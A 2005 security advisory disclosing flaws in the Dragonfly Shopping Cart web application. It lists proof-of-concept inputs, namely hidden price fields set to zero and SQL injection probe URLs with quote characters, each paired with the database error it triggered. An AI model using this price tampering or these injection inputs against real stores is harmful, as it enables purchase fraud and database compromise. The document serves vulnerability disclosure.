Dragonfly Shopping Cart Multiple vulnerabilities
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Severity: High
Title: Dragonfly Shopping Cart Multiple vulnerabilities
Date: 11/07/2005
Vendor: DragonFly Shopping Cart
Vendor Website:
http://www.incredibleinteractive.com/Active/dc_Productsview.asp?key=5
Summary: Vulnerabilities exist in Dragonfly Shopping Cart that allow modifiying
of prices along with Sql injection vulnerabilities.
Proof of Concept Exploits:
Hidden Price Value Vulnerability
You can modify these fields to modify the price of the product and thus be able
to purchase the biggest and most expensive products for the cheapest possible
prices, or even nothing.
/demo/dc_Categorieslist.asp
HPVV
<input type="hidden" name="x_DragonflyCartProductPrice" value="15.49" size="4">
/demo/dc_Categoriesview.asp
HPVV
<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">
/demo/dc_productslist.asp
HPVV
<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">
/demo/dc_productslist_Clearance.asp
HPVV
<input type="hidden" name="x_DragonflyCartProductPrice" value="0" size="4">
There are also many other hidden fields like ip address etc which can be used
to make the attack "technically" more anonymous though any normal logging
system would catch you ;).
Sql Injections
/demo/dc_Categoriesview.asp??key='&RecPerPage=5
Microsoft JET Database Engine error '80040e07'
Data type mismatch in criteria expression.
/demo/dc_Categoriesview.asp, line 1054
/demo/dc_Categoriesview.asp?key=%26dir%26
Microsoft JET Database Engine error '80040e14'
Syntax error (missing operator) in query expression '[CategoryKey] = &dir&'.
/demo/dc_Categoriesview.asp, line 1054
/demo/dc_productslist_Clearance.asp
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression '([ProductActive] = 'show' AND
([ProductClearancePage] = 'yes' AND ProductClearanceStartDate < #7/7/2005# AND
ProductClearanceEndDate >= #7/7/2005#)) AND ((([ProductName] LIKE '%1%' OR
[ProductDescriptionShort] LIKE '%1%') ' ))'.
/demo/dc_productslist_Clearance.asp, line 292
/demo/dc_productslist_Clearance.asp?cmd=%27
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression '([ProductActive] = 'show' AND
([ProductClearancePage] = 'yes' AND ProductClearanceStartDate < #7/7/2005# AND
ProductClearanceEndDate >= #7/7/2005#)) AND ((([ProductName] LIKE '%1%' OR
[ProductDescriptionShort] LIKE '%1%') ' ))'.
/demo/dc_productslist_Clearance.asp, line 292
/demo/ratings.asp??PID='
Microsoft JET Database Engine error '80040e14'
Syntax error (missing operator) in query expression '[ProductKey]=''.
/demo/ratings.asp, line 68
/demo/dc_Productsview.asp
Microsoft JET Database Engine error '80040e07'
Data type mismatch in criteria expression.
/demo/dc_Productsview.asp, line 931
/demo/dc_forum_Postslist.asp?start='
Microsoft VBScript runtime error '800a000d'
Type mismatch: 'nTotalRecs'
/demo/dc_forum_Postslist.asp, line 319
/demo/dc_forum_Postslist.asp?key_m='
Microsoft JET Database Engine error '80040e07'
Data type mismatch in criteria expression.
/demo/dc_forum_Postslist.asp, line 200
/demo/dc_forum_Postslist.asp?psearch=1&Submit=Search%20%28%2A%29&psearchtype='
Microsoft JET Database Engine error '80040e07'
Data type mismatch in criteria expression.
/demo/dc_forum_Postslist.asp, line 200
/demo/dc_forum_Postslist.asp?psearch='&Submit=Search%20%28%2A%29&psearchtype=1
Microsoft JET Database Engine error '80040e07'
Data type mismatch in criteria expression.
/demo/dc_forum_Postslist.asp, line 200
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me
regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout
for my soon to come out book on Secure coding with php.